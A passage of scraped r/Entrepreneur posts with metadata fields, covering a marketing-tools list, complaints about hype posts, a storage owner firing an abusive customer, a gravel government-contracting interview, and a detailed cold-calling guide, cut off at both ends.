Facebook campaigns. **#20 Plann3r** helps you create your personalized meeting page. You can schedule meetings witch clients, candidates, and prospects. **#21 Loom** is a video messaging tool, it helps you to be more expressive and create closer relationships. **#22 Callpage** collects your visitors’ phone number and connects you with them in seconds. No matter where you are. # Landing page tools **#23 Instapage** is the best overall landing page builder. It has a broad range of features and even squirrel can build a compelling landing page with templates. No coding needed. **#24 Unbounce** can do everything that Instapage does and lets you build a great landing page without a developer. But it's less intuitive. # Lead generation / marketing automation tools **#25 Phantombuster** is by far the most used lead generation software in our tool kit. It extracts data, emails, sends requests, customized messages, and does many things on autopilot in any platform. You can check [this](https://www.grow-force.com/generating-leads-on-linkedin?utm_source=Reddit&utm_medium=Entre%20subreddit&utm_campaign=entre%20-%3E%20dracula), [this](https://www.grow-force.com/linkedin-lead-generation?utm_source=Reddit&utm_medium=Entre&utm_campaign=Entre%20-%3E%20700) and [this](https://www.grow-force.com/how-to-expand-your-linkedin-network?utm_source=Reddit&utm_medium=Entre&utm_campaign=Entre%20-%3E%20howtoexpand) if you want to see it in action. **#26 Duxsoup** is a Google Chrome add-on and can also automate some of LinkedIn lead generation efforts like Phantombuster. But not works in the cloud. **#27 Zapier** is a glue that holds all the lead generation tools together. With Zapier, You can connect different marketing tools and no coding required. # Conversion rate optimization tools **#28 Hotjar** tracks what people are doing on your website by recording sessions and capturing mouse movements. Then it gives you a heatmap. **#29 UsabilityHub** shows your page to a digital crowd and measures the first impressions and helps you to validate your ideas. **#30** **Optinmonster** is a top tier conversion optimization tool. It helps you to capture leads and enables you to increase conversions rates with many features. **#31** **Notifia** is one mega tool of widgets that arms your website with the wildest social proof and lead capturing tactics. **#32 Sumo** is a much simpler version of Notifia. But Sumo has everything to help you capture leads and build your email lists. # Web scrapers **#33** **Data Miner** is a Google Chrome browser extension that helps you scrape data from web pages and into a CSV file or Excel spreadsheet. **#34** **Webscraper** does the same thing as Data Miner; however, it is capable of handling more complex tasks. # SEO and Content **#35 Grammarly:** Your English could be your first language and your grammar could be better than Shakespeare. Grammarly still can make your writing better. **#36 Hemingwayapp** is a copywriting optimization tool that gives you feedback about your copy and improves your readability score, makes your writing bolder and punchier. **Free.** **#37 Ahrefs** is an all-rounder search engine optimization tool that helps you with off-page, on-page or technical SEO. **#38 SurferSEO** makes things easier for your on-page SEO efforts. It’s a tool that analyzes top Google results for specific keywords and gives you a content brief based on that data. # Video editing and design tools **#39 Canva** is a graphic design platform that makes everything easy. It has thousands of templates for anything from Facebook ads, stylish presentations to business cards.  **#40 Kapwing** is our go-to platform for quick video edits. It works on the browser and can help you to create stylish videos, add subtitles, resize videos, create memes, or remove backgrounds. **#41 Animoto** can turn your photos and video clip into beautiful video slideshows. It comes handy when you want to create an advertising material but don’t have a budget. # Advertising tools **#42** **AdEspresso** lets you create and test multiple ads with few clicks. You can optimize your FB, IG, and Google ads from this tool and measure your ads with in-depth analytics. **#43** **AdRoll** is an AI-driven platform that connects and coordinates marketing efforts across ads, email, and online stores. # Other tools **#44** **Replug** helps you to shorten, track, optimize your links with call-to-actions, branded links, and retargeting pixels **#45 Draw.io** = Mindmaps, schemes, and charts. With Draw.io, you can put your brain in a digital paper in an organized way. **#46 Built With** is a tool that finds out what websites are built with. So you can see what tools they're using and so on. **#47 Typeform** can turn data collection into an experience with Typeform. This tool helps you to engage your audience with conversational forms or surveys and help you to collect more data. **#48 Livestorm** helped us a lot, especially in COVID-19 tiles. It’s a webinar software that works on your browser, mobile, and desktop. **#49 Teachable** \- If you have an online course idea but hesitating because of the production process, Teachable can help you. It's easy to configure and customizable for your needs. **#50** **Viral** Loops provides a revolutionary referral marketing solution for modern marketers. You can create and run referral campaigns in a few clicks with templates. **Remember, most of these tools have a free trial or free version. Going over them one by one can teach you a lot and help you grow your business with less work power in the early stages of your business.** I hope you enjoyed the read and can find some tools to make things easier! Let me know about your favorite tools in the comments, so I can try them out. \------ If you want to check the prices and see a broader explanation about the tools, you can go[ here.](https://www.grow-force.com/lead-generation-software/?utm_source=Reddit&utm_medium=Entre&utm_campaign=Entre%20-%3E%20lead%20generation%20software)",SpicyCopy,1591,200,1591870185,/r/Entrepreneur/comments/h0whaw/i_tested_hundreds_of_marketing_tools_in_the_last/,https://www.reddit.com/r/Entrepreneur/comments/h0whaw/i_tested_hundreds_of_marketing_tools_in_the_last/,self.Entrepreneur,True,,,,, idd42y,Entrepreneur,If I see another “started business 5 minutes ago and am now a fucking millionaire! “ post I am going to blow tf up,Can we actually have some productive non bs posts here ?? Like cmon. What really gets me is people actually believe it and upvote the hell out of it. I am sick and tired of logging on and seeing people make drawed out bs posts about how they made billions of dollars from starting a business two days ago.,[deleted],1589,341,1597939556,/r/Entrepreneur/comments/idd42y/if_i_see_another_started_business_5_minutes_ago/,https://www.reddit.com/r/Entrepreneur/comments/idd42y/if_i_see_another_started_business_5_minutes_ago/,self.Entrepreneur,True,,,,, gnu4an,Entrepreneur,Is it just me or are you also sick of ads for online courses on how to make millions from making online courses on how to make millions from making online courses?,Is it just me or are you also sick of ads for online courses on how to make millions from making online courses on how to make millions from making online courses on how to make millions from online courses on how to make millions from online courses?,dblspc,1566,325,1590055611,/r/Entrepreneur/comments/gnu4an/is_it_just_me_or_are_you_also_sick_of_ads_for/,https://www.reddit.com/r/Entrepreneur/comments/gnu4an/is_it_just_me_or_are_you_also_sick_of_ads_for/,self.Entrepreneur,True,,,,, fl8iii,Entrepreneur,Coronavirus Rapidly Killing r/Entrepreneur,[deleted],[deleted],1561,198,1584617376,/r/Entrepreneur/comments/fl8iii/coronavirus_rapidly_killing_rentrepreneur/,https://www.reddit.com/r/Entrepreneur/comments/fl8iii/coronavirus_rapidly_killing_rentrepreneur/,self.Entrepreneur,True,,,,, ooqyor,Entrepreneur,Does anyone else want to be an entrepreneur only because you find the idea of being an employee disgusting? It bothers me to my core to be someone's subordinate.,"Call me narcissistic or worse, but it's just how I feel. I'm actually humble and nice towards others. I definitely don't feel the need to use others or have power over others. But I hate others having power over me. My independence is so, so important to me. Even with a ""good boss"", I hate the dynamic of being an underling, a subordinate, an employee. I don't even really want to have other employees. My ideal business would be just me doing my thing all alone. Hell, sometimes I feel like what I really want isn't entrepreneurship but living in the woods somewhere, although that's very uncomfortable and unfeasible for me personally, so entrepreneurship is sort of the only path towards a comfy, solitary, independent life. Now if I only could find an idea that works for me, but that's another matter entirely.",dadasad2125,1558,350,1626877590,/r/Entrepreneur/comments/ooqyor/does_anyone_else_want_to_be_an_entrepreneur_only/,https://www.reddit.com/r/Entrepreneur/comments/ooqyor/does_anyone_else_want_to_be_an_entrepreneur_only/,self.Entrepreneur,True,,,,, hhk468,Entrepreneur,I fired a customer today - don't be afraid to stand up to abusive customers in your business (no matter how bad you need their money),"I own and manage 7 self storage facilities in upstate NY and PA. We pride ourselves on the best customer service around. Always smiling. Always very respectful. We go out of our way to make things right when we mess up. We also fight hard for rentals and new customers because we need them too survive. But **a lot of customers are super entitled and down right mean**. It sounds silly but some use controlling and emotionally abusive tactics to get refunds, take advantage or get their way. We had a customer who fell behind on rent. When we reached out she was upset about the lack of a rope hanging down from her unit door. Claimed she couldn't use it properly. Claimed we were discriminating against her for this reason or that reason. She continued to harass our customer service rep with a lot of offensive language and threats on the phone. I had our maintenance guy stop by and install a rope (this was her first complaint on the matter) and then I called her personally. She insulted me. She spoke to me like I was 5 years old. She used a lot of profanity. She threatened online reviews. She threatened lawsuites. It was a wild conversation. At the end of her lecture she demanded 2 free months of storage and a reduced rate moving forward. If we didn't comply she would sue us. So I told her the address of my attorney and asked her to send a formal letter to him with any grievances and told her she has 30 days to get her stuff off my property. I thanked her for her time and for giving us a shot but made it clear we were not willing to do business with her anymore. If you relate to experiences like this hang out with us over in r/sweatystartup",sweatystartup,1557,142,1593370717,/r/Entrepreneur/comments/hhk468/i_fired_a_customer_today_dont_be_afraid_to_stand/,https://www.reddit.com/r/Entrepreneur/comments/hhk468/i_fired_a_customer_today_dont_be_afraid_to_stand/,self.Entrepreneur,True,,,,, wjiq8s,Entrepreneur,Reddit changed my business and life in 24 hours,"Two months ago I posted about [my passion project](https://puter.com/) on Reddit (here is [the post](https://www.reddit.com/r/programming/comments/v45rb6/i_spent_a_year_building_a_desktop_environment/)). When I started working on this project I was pretty burned out and depressed from years of extremely hard work as a business owner (not to mention the long pandemic). I had pretty much lost all my love for the software industry and this project was literally the only thing that brought me any joy. Every day I woke up I was feeling a little better and looked forward to working a little more on my project: adding a feature here, fixing a bug there, showing it to a friend... Eventually, after about a year of working on it in near isolation, I decided to post it on Reddit. The community was extremely kind towards me and the post eventually hit #1 on two major subreddits. Within the first 24 hours, it received more than 45,000 users, and I received [9 job offers](https://www.reddit.com/r/cscareerquestions/comments/vxd8zs/i_posted_my_project_on_reddit_and_received_9_job/). This eventually lead me to make a real company out of what was only two months ago just a small project. It's simply amazing how the kindness of Redditors can literally change your life in such a deep and lasting way. Thank you so so so much, Reddit ❤️ &#x200B; Edit: Somebody asked what is it used for the most: aside from storing files, it would be the [notepad](https://puter.com/app/editor). Incidentally, I spent a lot of time working on the notepad which is funny even to me lol",mitousa,1554,141,1659989239,/r/Entrepreneur/comments/wjiq8s/reddit_changed_my_business_and_life_in_24_hours/,https://www.reddit.com/r/Entrepreneur/comments/wjiq8s/reddit_changed_my_business_and_life_in_24_hours/,self.Entrepreneur,True,,,,, 15284g4,Entrepreneur,This guy does $10m+ with 6 employees by hauling gravel for the gov't,"**EDIT:** **Wow, overwhelmed by the feedback here. Thanks for all the kinds words everyone! I'm actually in touch with Dan (He made a reddit account and is answering some of the comments down below.) Might be able to get him in for an AMA if that's ever interesting (just let me know).** &#x200B; People on Twitter seemed to like [this story](https://twitter.com/HamptonFounders/status/1649065207073849347), so I wanted to share it here too. I'm modifying so it fits this medium, but basically, there's a guy name Dan Crowley who saw the movie War Dogs and was inspired to become a government supply contractor. Technically, he makes millions from dump trucks, even though he's only ever driven one once. Over the last few years, he's grown to six employees, and $10-$15 million per year revenue. (Fun fact, that's more revenue per employee than Apple, haha). Great example of how there really are good opportunities out there in the world of sweaty startups. He also runs two other companies – one in trucking, one in real estate – which add another $5 million per year to the top line. I interviewed him a while back. This is the full breakdown of the gravel business (including numbers, how he actually started, where he sees open opportunities in the field, etc). If you want to see the stuff about how he runs STRs it's [here](https://joinhampton.com/blog/his-company-does-2.5m-per-employee%2E%2E%2E-hauling-gravel). One of my favorite parts comes from his advice to new founders (below) - thought people here might like it: >...Most entrepreneurs and business owners actually like talking about their business and giving advice. Myself included! So never be afraid to network and ask questions. > >You don’t need to work as hard as people like Gary Vee say. You don’t need to grind 20 hours/day for your business to work. Yes, it might take longer for it to be successful if you don’t but that doesn’t mean it’s going to fail. One last thing - don't be fooled into thinking this business is super easy. Dan will be the first to tell you it's not. But it's also not super impossible. It's doable if you have the grit to try stuff and figure it out as you go. # Hello! Who are you and what business did you start? My name is Daniel Crowley, and I guess I would describe myself as a serial entrepreneur. I’m originally from Massachusetts. I went to college in New Orleans and have stayed ever since. I now live here with my fiancé and dog. I have three main businesses: * Crowley Holdings (government contracting) * Crowley Hauling (own and operate six dump trucks) * Crowley Properties (co-own and operate 24 short-term rental properties). I couldn’t think of a good brand name so I just went with my last name: Crowley 🙂. I spend the majority of my time with Crowley Holdings, which I started in 2017. We do $10-15 million in annual revenue. It’s a government contracting business; we supply sand and gravel, as well as perform civil projects, for the government. I got the idea from the movie “War Dogs” and thought, ""Man, I can do that!"" But I didn't want to supply arms and munitions. So we started with sand and gravel — eventually, we won a contract and built the business up from there. In 2019, we won the largest rock delivery contract in Missouri state history: roughly $23 million to deliver 550,000 tons of shot rock (about 30,000 dump truck loads). We had 100 or so dump trucks running all day, every day for about six months to repair three levee breaches. # What's your backstory and how did you come up with these ideas? For Crowley Holdings, the idea started after listening to this podcast on NPR, probably when it aired back in 2015. It was the story of two 20-somethings who ended up winning a ton of federal contracts. The story eventually became the movie “War Dogs” in 2016. One part of the story stuck out to me specifically. One of the first contracts they won was supplying 50,000 gallons of propane — just by playing middle man and brokering the contract. They famously went on to win tens and, ultimately, hundreds of millions of dollars in contracts. They also did some illegal things that wound up getting them both in trouble with the law. I wasn’t drawn to the arms and munitions aspect — or, of course, doing anything illegal. But I remember thinking: ""I could do what they are doing. Why can't I supply propane to the Air Force?"" Eventually, I started poking around the SAM.gov website, which is where the government posts RFQs (requests for quotes). Anything you can think of is on this website: RFQs for 100,000 rolls of toilet paper, 5,000 cardboard boxes, 20,000 slices of American cheese, bazookas, tanks, gravel…everything. I submitted bids for a number of random items (cardboard boxes, leather jackets for the Air Force, etc.) before zeroing in on gravel. Eventually, we won our first contract. Since then, we’ve grown to bring in roughly $10-15 million a year in revenue with a team of six. For Crowley Hauling, a lot of what we do involves dump trucks, so I had a good sense of how things worked. Founding the company felt like a natural way to diversify Over time, we’ve slowly built up to six dump trucks. I suspect we will get to 10+ over the next year or so. If you're smart about how you finance them, trucks like these can be used to offset taxes on other income (more on that below) # Take us through the process of building the first version of your products. For Crowley Holdings, the initial goal was to get our first sale. To start, I randomly submitted bids for government RFQs. I think I first submitted a contract for 10,000 cardboard boxes and then a contract for 500 leather jackets for the Air Force. I basically called around to get prices for whatever product the RFQ called for then marked it up and submitted it to the government. Eventually, I zeroed in on aggregate. I submitted a bid for a contract for roughly 700 tons of limestone for an Air Force Base in Belle Chasse, LA. We didn’t win that one, but we started submitting more and more aggregate bids. Eventually, we won our first one in 2017. That’s when Ihad my “oh shit” moment: I realized I actually had to deliver 2,500 tons of graded aggregate base for the U.S. National Park Service in the Carolina Sandhills. “Damn, do I need to fly out there?” “What if something goes wrong?” “Should I be on site to manage the deliveries?” These were just a few of the immediate thoughts that came to my mind. The project went smoothly, and a business was born! Since then, we’ve slowly built up to 6-7 employees. Our next venture is trying to break into heavy civil construction work. We will do work for the U.S. Army Corps of Engineers to rebuild levees and other earthwork — definitely moving up to the big leagues. To start, these will be $5-10 million per project, but ultimately, I think we can get to $50-100 million revenue per year. For Crowley Haulings, the idea formed after I spoke with someone who owned dump trucks. He connected me with a sales rep, and I eventually negotiated and bought my first truck in mid-2020: * I paid roughly $180,000 * Financed 100% of the truck * Over a five-year payback period * At a 5.5% interest rate One huge benefit to buying dump trucks is that you can finance 100% of the truck and also depreciate 100% of the truck in the first year. (Check with your tax person to see if this is still true - some of these rules change over time) As long as you have a good infrastructure — and can keep the trucks busy and profitable — you can just match each year with how well you are doing in your other businesses to offset income taxes. This is a good case study on how depreciation for tax purposes helps spur job growth. If you are looking at $200,000-$1 million in income, then you can just buy one to five dump trucks that year and depreciate them 100%. There is definitely risk here of course, but in theory, it could work that way. # Since launch, what has worked to attract and retain customers? Business is good! Crowley Holdings and Crowley Properties are both profitable and growing. They more or less were always profitable from the jump. Crowley Holdings will continue to grow organically. Currently, we operate around the country and have found a niche in sand and gravel supply contracts. In the future, I imagine we will grow to have a real presence in New Orleans — and Louisiana at large — as a legitimate construction company. We are able to shake things up a bit by bringing in tricks, techniques, and technology that aren’t common in the construction industry. In five years, I anticipate we can be a $50-100 million revenue business. Crowley Properties continues to grow and be profitable. I am currently adding five to 10 units per year. We just started expanding into Tampa, Fla. We have two properties there, with a third in the works. I’m currently deciding if I should keep growing organically or whether I should go out and raise some cash and add 20-30+ units per year. If anyone has advice here, I would love to hear it! Crowley Hauling is a solid business. It will never be a hockey stick type of company. But it is a good way to diversify. I also could see pairing Crowley Hauling with Crowley Holdings. Ultimately, I believe we’ll be able to win big levee or construction projects in New Orleans and run our dump trucks on the job. This way, we can double dip. I can see us getting to 10 dump trucks in the next year or two. Beyond these goals, I’m not sure if I want to take it to the next level — 20, 30, 40 dump trucks. It’s doable, but we will see. # Did you ever have an “oh shit” moment where you thought it wouldn’t work? Honestly, not with my three core businesses. However, I have launched products or businesses that did not work, including: * Playboy alarm clock app: My first product that I successfully launched to the app store. I spent around $5,000 on it and made maybe $500 on it. * Down River Design: I took what I learned from the Playboy alarm clock app and launched a web and app development company. I built the alarm clock with a software development firm in India. So I did the same thing for clients. I made some money, but I could never turn the corner of getting enough business to hire or grow. * ZAP DRD: I partnered with the India-based company, Zaptech Solutions, giving it the name ZAP (Zaptech) DRD (Down River Design). I had the same problem. This move helped, but the business still never became super profitable. * Lead-Buddy: This lead generation business sort of worked but never turned the corner.In addition to a few other ideas that never made it. # Through starting your businesses, have you learned anything particularly helpful or advantageous? Your business will never be perfect. Often, you see people trying to make everything perfect before launching their business or product. Most businesses fail before they start because they never make it to market (I don’t have any stats to back this up, but I would be willing to wager it is correct). You need to get it out to market ASAP — asap and you can always tweak it. # What platform/tools do you use for your business? Trello: What we use to organize thoughts and projects. Clickup: Similar to Trello but with more automation features. I might move the Crowley Holdings team from Trello to Clickup. I have been pretty impressed with it. Slack: A must-have tool to communicate with the team efficiently. Macs: I was a longtime PC guy, but Apple finally won! Most of what I do is communicate with people. Being able to text and call from my computer helps out in a big way. Virtual Champions: I think I’ve finally found a good virtual assistant. I’ve only used it for a short time, but I am already getting a lot of tasks out of backlog. # What have been the most influential books, podcasts, or other resources? “The 4-Hour Workweek”: I read/listened to this book a few months ago, but I wish I had years ago. It all aligns well with my thinking: work smarter, not harder. Become efficient with your time. Use the free time this creates however you choose! “My First Million” podcast: You all know it 🙂 “The Pitch” podcast: Slightly under the radar, it’s like the real “Shark Tank,” meaning the pitches are much closer to what it’s like in the real world. # Advice for other entrepreneurs who want to get started or are just starting out? I’ll come back to my mottos: Screw it — just do it. Let it rip! You need to get out there and do it. If the business fails — well, you can apply what you learned to the next business. Ask for advice. It took me too long to do this. Business is not that complicated. There are plenty of people out there who have done it before, who have made those same mistakes. Also, most entrepreneurs and business owners actually like talking about their business and giving advice. Myself included! So never be afraid to network and ask questions. You don’t need to work as hard as people like Gary Vee say. You don’t need to grind 20 hours/day for your business to work. Yes, it might take longer for it to be successful if you don’t but that doesn’t mean it’s going to fail. Delegate. You need to delegate to grow — your business will never scale if you can’t learn to do this.",HamptonFounders,1552,233,1689614561,/r/Entrepreneur/comments/15284g4/this_guy_does_10m_with_6_employees_by_hauling/,https://www.reddit.com/r/Entrepreneur/comments/15284g4/this_guy_does_10m_with_6_employees_by_hauling/,self.Entrepreneur,True,,,,, 43r36x,Entrepreneur,Cold calls: I went from nothing to $120k/year solo using this process. Script included. AMA,"**Edit: WOW! I can't believe how much traction this got - I'm so blessed that this resonated with all of you! I've been getting mad amounts of requests, phone calls, PM's, LinkedIn invites, and more. Feel free to connect with me on [Twitter](https://twitter.com/NxtLvlWeb) for more of this stuff. I'll definitely be following this up for you guys with a detailed post of how I did so well with business networking events due to the amount of requests I got for it. Thanks for the Reddit Gold, and thanks for being so supportive!** Hi guys, I run a small/mid-sized web development & online marketing agency. I wanted to share my process that brought me from 0 customers to a solo-entrepreneur making about $120k/year with you all, because there are a lot of people out there looking to start a business or keep it going! I told some others in r/Entrepreneur that I would give a write up on how I used cold calls to get started and push through the first 2 years of beginning a business from nothing. I have since incorporated and grown a lot, and don't cold call very often. However, I still get into big companies through cold calls, and had a meeting last week with one of the biggest fish I've ever sat in front of as a result of a cold call - I just hate making them and so use this strategy infrequently. I love referrals and people calling me! *Author’s note: I finished writing this post, and it is nearly 3,100 words. I put my heart and my soul into writing this for you guys. Maybe there is a person out there that will be inspired to take this even further than I did. If that is you, don’t forget to share! All glory to my savior Jesus Christ for leading me to where I am. Without God showing me the path, I couldn’t share it with you!* **First, the (short) story:** > I was an EMT and volunteer firefighter in California back in 2010. I was working in the emergency room of a hospital and had a **really** tough Monday - lots of death, blood, and more. I decided the only reason I wanted to be a firefighter was because of the retirement (residual) income. If I could do it faster another way, my mind just opened to it. Queue my brother-in-law coming back from a trip to the east coast and telling me about a business opportunity. I started selling websites for another company (which is a really terrible summary of what actually happened, but it's short). When I started, I didn't have ANY money to spare. I had about $5,000 worth of ""emergency fund"" that I could live on, and my wife worked and brought in about 1800/mo after taxes. Our bills cost about 3000/mo, so I needed to come up with at least 1200/mo to survive by selling websites. I ended up resorting to the only thing that costs no money: **Cold Calls!** **TL;DR: Make cold calls, even if you're terrible like I was. Use my script (Link below). Record data. Follow up. Profit.** The idea of picking up a phone and calling a stranger to solicit them to purchase something I was selling made me feel sick. I was also scared of the rejection, and justified my position with every ""logical"" argument that I could think of. But when you're on a time clock that ends in homelessness and starvation (or failure), you've got to man (or lady) up and do it. **Some stats and info** These are my statistics based on what I recorded. I don’t have excel spreadsheets of data to link… Only my company’s existence and some old notepads with my first call logs to prove these things, lol. My current URL is [CaliforniaWebOptions.com](http://californiaweboptions.com), though we are currently in the middle of a re-brand and will be changing our domain soon anyway! * I talked to a person about 70% of the time, so if you want to base my stats on actual people I talked to on a cold call, it’s actually 3.25%. This means that for every 100 conversations, I made 3.25 website sales. My conversion rate including non-answers was 2.5%. I counted all non-answers in my daily calls too. * I tried to make 50 calls per day in a 4 hour time-frame, which calculates out to 250 calls/week (assuming Mon-Fri only). The actual number was around 150-200 in action, because I got lazy some days and hurt feelings other days. In addition, making follow-up calls (which don’t count towards these “50 calls per day”) got to be pretty time consuming eventually. Sometimes I’d make 15 of these in a day, and they took even more brainpower than a cold call sometimes due to them being a longer call. * The best time to call was the hours of 9AM – 11:30. The hour of 10-11am was the best. I’d typically make calls from 8am-noon. * My time to closing my first sale ended up being 2.5 months. I think the 17th call I made eventually led to my first sale. I made it in November, and it didn’t close until mid-January. I eventually shortened this cycle to 2 weeks - 1 month, but I really sucked at calls, talking to people on the phone, etc. at first, so I needed more time and more numbers to start. If this proves anything, you can be absolutely horrible at this like I was and still make it happen! * In all the time I did calls, and it must’ve been thousands of them, I made 0 sales on the first call. I wasn’t trying to make them on the 1st call, which is a part of my process outlined below (small commitments leading to larger commitments). * My market area is San Diego County, California. While there are a ton of big businesses here that make money, there are many small businesses that are 1-5 employees, and these people were who I was trying to target at the time. * I was selling a website product for another company at this time (MLM/Network Marketing deal). The average ticket price was between $1,200 – 3,000 each, and my take was around 70% of that. So, assuming an average take-home of $1,050 (Which was common), that meant that each 100 dials would eventually net me about $2,625. * Every time I was told “no,” I assigned a value to it. I’ll save you the math, but at first, each time I heard that word, it was worth about $10 to me. When I got going, each “no” was worth closer to $35 each, because every no led me to someone that says yes! Not every call ended in a yes or no – sometimes it was the dreaded “send me an e-mail and give me a week to think about it” which is not yes or no. * I was closing the deal myself, because people wanted to know that they got to deal with me – The idea that I was some salesperson that wouldn’t care if the product I sold worked or not is an appalling idea to a business owner. They wanted to know I was their account manager, too, which is something I carry forward in my agency now. If a salesperson sells, they get to maintain the relationship and ensure the client is satisfied, too. **Where I found my list to call:** **The local Chamber of Commerce websites.** They always have a business directory that includes the business owner's name, their current website, the correct phone number, etc. Very good and current source of info, you can start local, and you can use the fact that you found them through the Chamber as a positive thing. Just search for the site on Google -- [city] + chamber of commerce (i.e. - San Diego Chamber of Commerce). Often times, there are 300-1,000 businesses right there, and every one of them has the business owner’s name, a phone number to call, and website address to investigate further. **Local free/low-cost networking meetings/groups.** I actually wasted a LOT of precious time at local meetup groups - most people were poor like me, and they were only looking to sell (not to buy or refer)! I found these through [www.meetup.com](www.meetup.com). I’d actually recommend against going to these if you’re purely focused on trying to sell stuff. There are other, better networking events you can attend (I have an entire process for networking events that has made me even more than cold calling – maybe I’ll share that next?)! **The local business directory book that gets delivered.** You can even use one from last year. **Local magazines delivered to communities.** **Googling things like “Chiropractors in 92008.”** Some people have more money than others, and so I’d spend some time creating a list from googling a profession + zip code. Often times, it produces some decent results. **How I qualified my list:** This is going to be a bit specific to my niche, which was selling websites (and later online marketing services) to businesses. However, you can also qualify your list so that you are talking to more of the right people and spending less time calling/talking with the wrong people! * I looked at their website. If the website looked old or had an old date at the bottom of the site (aka ©2012 when it's 2016), that was a good candidate for calling. If the website was newer, I'd pass on it (though if it was somewhat new, this was a good candidate for online marketing services). * They had to be local places/people. I didn't want to be that call you get from an out-of-state number, because those calls get ignored. Local calls get answered. **How I documented calls & results:** > A note on this: If you don't record who you called and what happened, you won't be able to follow up, and consequently won't make it anywhere. You need to be able to follow up on people and call numbers that didn't answer the first time or you’ll run out of decent numbers to call. * I opened up a word doc on my computer, numbered a list, and copy/pasted the info if I found the info online or typed it in manually if it was from a magazine/directory/business card. My first notes were actually on a yellow legal pad. I'll get a pic of them, because I still have them somewhere, but digital is best. CRM systems are great, but it's more important to make the darn call and be marginally organized than to be highly organized and sit around doing CRM optimization^(like a poor idiot trying to avoid making his/her calls.) * I determined my KPI's (Key Performance Indicators) to be: # of calls made, # of people that answered, # of decision makers reached, # of requested call-backs or e-mails, # of appointments set, # of sales made. I made a mark next to the corresponding number on my list for each of these things occurring. * I recorded the meaningful points of the conversation (aka what to remember if I talked to them again), and the next step. If they said “not right now,” I’d write to call back in 6 months. I didn’t call many of these people back. **The Goal of a cold call and any necessary follow-up activity is to get to a Yes or to a No.** Don’t try to convince people of your product’s value. That takes more effort and isn’t what you should be doing. Explaining is required, but *convincing* is something altogether different – I didn’t have the time or patience to try to show that there was value in a new website. If they didn’t see it, then they didn’t have any money or they were old-school and likely going to be tons of work to convince. * Small commitments lead to larger commitments. I didn’t ask for the sale right away. I didn’t ask for an hour of their time. I didn’t ask for them to meet for coffee. I asked for 5 minutes of their time over the phone. If they liked what I had to say, then I’d ask for 30 minutes of their time to show. * Don’t leave voice mails for people unless they know who you are. Only leave voice mails for follow-up calls. * It is okay to call as often as 5 times per week (once per day), but only leave one voicemail per week in follow-up. It is safer to call only 2-3 times per week, and you should call less often as time goes on so you’re not annoying. I’d say up to 5 calls the first week, 3 calls in week 2, 2 calls in week 3, and 1 call per week after that for follow-up. Just a general set of guidelines. **The most important concept I learned on my own: The Three Boxes** *People have three boxes in their head that need to be “checked off” before they will allow you to pass. The receptionist, the business owner, or the office manager will reject your call and not even give you an answer if you don’t give them these three critical pieces of information!* 1. – **Your name.** You don’t need to give your company name. Sometimes it’s even a bad thing if you give your company name. It doesn’t add credibility – It just tells me that I don’t know you. Most times, I’d only give my first name, and this was almost *always* fine. 2. – **How you found them.** This tells them if you have something in common or not. If you found them in the Chamber of Commerce, for example, this tells them that you’re local and immediately differentiates you from a random cold call. Look to leverage anything you can to show that you are “like them.” If you can somehow connect on any level, you get a check on this box, because you seem human. 3. – **Why you’re calling (and it better not be to sell something!).** This one is really the crux of why I am different. If I told someone that I was looking to sell them a website, they’d get rid of me as quickly as possible. “Ugh, not another sales call…” I needed to give them a different, but still valid, reason for calling. My reason was because I saw “a potential fit between our businesses, and was calling to talk to [insert name here] about it.” *I do tell them what I am selling afterward, but once I addressed the third box in this new way, something magic happened. People started listening! I was no longer selling snake oil to make money, but was offering to talk about something that would be mutually beneficial. Often times, they would identify with me, and I would get people to give me respect and honest answers. Many times, the answer was still no, but I got my answer! And guess what? Sometimes the answer was yes and I made a sale!* **The Script (Finally)** [Link to the script in Google Docs](https://docs.google.com/document/d/1Q_L1LW4qqDE04DH4K8B_BWFNNf5AdvnWMRFLM-eib28/edit?usp=sharing) Hopefully by now, you have read this and can understand why my script is this way. **How I followed up** There is a difference between *following up* and *moving prospects forward.* It’s a lot simpler than you might think – Start your follow-up call with a goal in mind, remembering that small commitments lead to larger commitments. For me, I always had the same goals in my prospect funnel: 1. Cold call 2. Ask for a 5 minute conversation (to determine if there is a fit) 3. Schedule a 20-30 minute demo (even if it ends up being an hour… 20-30 minutes is easier to stomach for a “busy” business person) 4. Ask for the sale after a website demonstration (Go over pricing – 3 pricing packages are important. Don’t do this for custom quotes… Custom quote requires a modified process from what I shared) 5. Meet in person over coffee, buy their coffee, thank them for their business, get to know them and their company more, and ask for referrals. **The end result (Recap)** I went from being ~5 months from bankruptcy to making just over $120,000 by myself (using the same company I sold for as sub-contractors for the work, which their cut wasn’t included in the 120k) in my 2nd year of doing this. I also supplemented this work with focused business networking after a while, which is a whole other 3,000-word post in and of itself. **A few final notes** * I made a commitment to making 50 calls per day, 5 days per week. I know others can supposedly bang out 100-300 calls a day, but I don’t know how you do it with any brain power. My brain power was gone after about 50 calls. I would make 50 calls in 4 hours or less. That is a good benchmark, especially when starting out. I was also given that advice by other successful sales professionals. A note is that I counted every time I dialed, whether I spoke to a person or got a voicemail. * I bought a pack of small beads at Wal-Mart and put 50 of them into a cup. When I dialed a number, I would move 1 bead over. It was motivation once I was 30 calls in and didn’t want to finish. I even wrote cheesy motivating blurbs on the cups like “you can do it” and “keep going!” Whatever gets you to keep picking up the phone. * Don’t let yourself get distracted. You will stop making calls – I guarantee it! * Don’t start doing this without an emergency fund (shoutout to [r/PersonalFinance](reddit.com/r/personalfinance) in place. I recommend keeping 6 months of expenses in an emergency fund account. I needed mine to make it happen. * You need to have the memory of a goldfish! You have to just forget or leave behind the negative experiences and focus on doing your best **now.** I did not get yelled at very often, which was due to the way I conducted calls (explained below), but it hurt a LOT when I did. Also, there were entire days that I failed on myself. A few times, I remember making less than 5 calls, putting on headphones and playing Elder Scrolls: Oblivion for 8 hours straight because I let a mean person get to me. Nothing against gaming, but this will kill your dreams – I was not okay with failing on my wife and potentially losing our home, but I failed that day. I would pick up and continue on the next day as if nothing happened – It’s a new day, and a new chance to succeed! Don’t get down on yourself for failures. **Feel free to post any questions you may have in the comment section. I will answer them as best I can. If you want me to do an AMA on building a marketing agency from scratch down the road, I can if the mods want me to do it.** ",Lowenhigh,1549,409,1454366442,/r/Entrepreneur/comments/43r36x/cold_calls_i_went_from_nothing_to_120kyear_solo/,https://www.reddit.com/r/Entrepreneur/comments/43r36x/cold_calls_i_went_from_nothing_to_120kyear_solo/,self.Entrepreneur,True,,,,, agf5c8,Entrepreneur,Cleaning restaurant floor for $1000 per night,"I've been deep cleaning restaurants for about 5 years. Every now an again I post to this subreddit and show you guys some of the services I offer to my customers. &#x200B; Restaurant floors get very greasy on a fairly regular basis. They need to be 